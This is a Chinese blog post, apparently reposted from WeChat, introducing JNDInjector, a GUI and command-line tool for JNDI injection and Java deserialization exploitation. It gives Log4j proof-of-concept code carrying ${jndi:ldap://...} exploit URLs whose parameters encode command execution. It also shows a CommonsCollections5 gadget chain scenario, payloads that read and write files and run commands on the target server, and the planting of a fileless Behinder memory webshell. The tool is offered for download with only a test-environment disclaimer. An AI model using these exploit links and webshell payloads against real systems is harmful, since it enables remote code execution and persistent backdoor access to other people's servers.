一个高度可定制化的JNDI和Java反序列化利用工具
2023-1-17 00:1:40 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

  • • 基本信息

  • • 生成LDAP链接

    • • Direct JNDI

    • • 反序列化场景

  • • 内容回显

    • • 命令执行:

    • • 读写文件:

    • • 列目录

    • • 环境信息

  • • AgentNoFile内存马植入

  • • 自定义Payload

  • • 自定义Gadget

  • • 命令行模式

  • • 最后

周末迎来了2023年的第一场雪,赋闲在家,正好得空把一直想做的JNDI&反序列化利用工具写了一下。工具取名JNDInjector,是一个跨平台高度可定制化的JNDI&反序列化漏洞利用工具,特性如下:

  1. 1. 同时支持GUI图形化和CUI命令行两种工作模式;

  2. 2. 支持Gadget和Payload完全解耦,不同Gadget和Payload可任意组装;

  3. 3. Payload支持动态参数设置;

  4. 4. 支持Gadget和Payload动态编译;

  5. 5. 支持依赖包自动下载,自动解决依赖关系;

  6. 6. 支持已编译Gadget和Payload一键反编译,并可动态修改;

  7. 7. 支持辅助生成LDAP利用URL链接;

  8. 8. 内置常用Payload(基本环境信息、命令执行、读写文件、列目录、NoAgentFile冰蝎内存马植入);

  9. 9. 内置常用Payload支持回显。

基本信息

JNDInjector采用Java开发,支持Windows、Linux、Mac OS等常见操作系统,GUI界面如下:

CUI界面如下:

生成LDAP链接

服务启动后,所有的Gadget和Payload都处于可用状态。为了方便利用,可以通过选择Gadget和Payload来辅助生成可用的LDAP链接。

Direct JNDI

在一些比较老的JDK版本中,可以无需bypass直接实现JNDI注入,比如,在如下Log4j利用场景中(Java 1.8.0_66+log4j 2.10.0):

public class Poc {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
   
        String ldap="";
        logger.error(String.format("${jndi:%s}",ldap));
    }
}

我们想要辅助生成执行命令calc.exe的LDAP链接,可以选择Gadget为Plain(老版本JDK不需要反序列化Gadget来bypass),Payload选择Exec,参数cmd填写为calc.exe,如下:

参数信息栏右下方可以直接点击复制生成的LDAP链接:ldap://192.168.24.1/CQICTAVVII/Plain/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9

填入Poc:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Poc {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();

        String ldap="ldap://192.168.24.1/CQICTAVVII/Plain/Exec/eyJjbWQiOiJjYWxjLmV4ZSJ9";
        logger.error(String.format("${jndi:%s}",ldap));
    }
}

执行:

Plain这个Gadget只对Payload做一层透明封装,可以理解为Plain这个Gadget直接返回的是Payload本身,源码如下:

package net.rebeyond.jndinjector.gadget;

import net.rebeyond.jndinjector.common.annotation.Gadget;
import org.json.JSONObject;

@Gadget(desc = "一个空的Gadget,用来原样返回Payload,无需通过反序列化Gadget触发的Direct JNDI注入场景")
public class Plain {
    public static byte[] warpPayload(byte[] payload) throws Exception {
        return payload;
    }
}

反序列化场景

接下来假设一个需要通过反序列化进行ByPass的场景,Java 1.8.0_351+commons-collections 3.1,Poc如下:

public class Poc {
    public static void main(String[] args) throws Exception {

        javax.naming.Context context = new javax.naming.InitialContext();
        context.lookup("");
    }
}

首先选择Gadget为CommonsCollections5,Payload还是选择Exec:

获得链接:ldap://192.168.24.1/OQjyzvoUNy/CommonsCollections5/Exec/eyJjbWQiOiJub3RlcGFkLmV4ZSJ9

填入Poc,执行:

内容回显

JNDInjector支持Payload回显,如下:

命令执行:

读写文件:

列目录

环境信息

AgentNoFile内存马植入

内置了采用AgentNoFile技术的内存马植入Payload,该Payload有两个参数:target为内存马正则匹配路径,以斜线开头,如/target;password为连接密码。使用冰蝎默认连接方式连接,配置如下:

添加内存Shell:

自定义Payload

可在IDE中开发Payload,然后将编译后的class文件放入JNDInjector主程序同目录下的gadget目录下即可。

当然也可以在JNDInjector的GUI里直接写代码进行编译,如下:

因为Payload是需要到对方服务器上执行的最终代码,为了解耦合,Payload不支持引用外部第三方库。

如果使用JNDInjector直接进行编译,需要使用JDK环境运行,JRE环境可能会无法即时编译。

自定义Gadget

编写Gadget的方法和Payload类似,可以通过IDE,也可以通过JNDInjector的即时编译。

不同的是,Gadget一般需要依赖第三方库,JNDInjector支持动态解析依赖,开发者只需要使用net.rebeyond.jndinjector.common.annotation.Dependency注解来指定依赖列表即可,注解内容为gradle格式,比如依赖jedis组件的4.3.1版本,则Dependency注解内容为{"redis.clients:jedis:4.3.1"}。

由于此文只是从宏观上对工具做一个简要的介绍,关于Gadget的开发细节,比较复杂,会另起文详述,此次不再细讲。

命令行模式

在命令行模式下,功能与GUI类似,唯一不支持Gadget和Payload的动态即时编译功能,如需扩展Gadget和Payload,需要通过IDE编译后,将class文件手动防止程序主目录下的gadget和payload文件夹。

最后

Github:https://github.com/rebeyond/JNDInjector

该工具仅用于在测试环境进行漏洞验证,请勿用于生产环境。工具开发比较仓促,可能会有一些bug,欢迎提出修改建议。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==&mid=2247483718&idx=1&sn=c31c1d4291833b13a0d4899cb9367845&chksm=ce23975ff9541e499be5be3f4cc6801dfd2b63d4cc28f1c7cbdc55436b793243c160c8b4d444&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh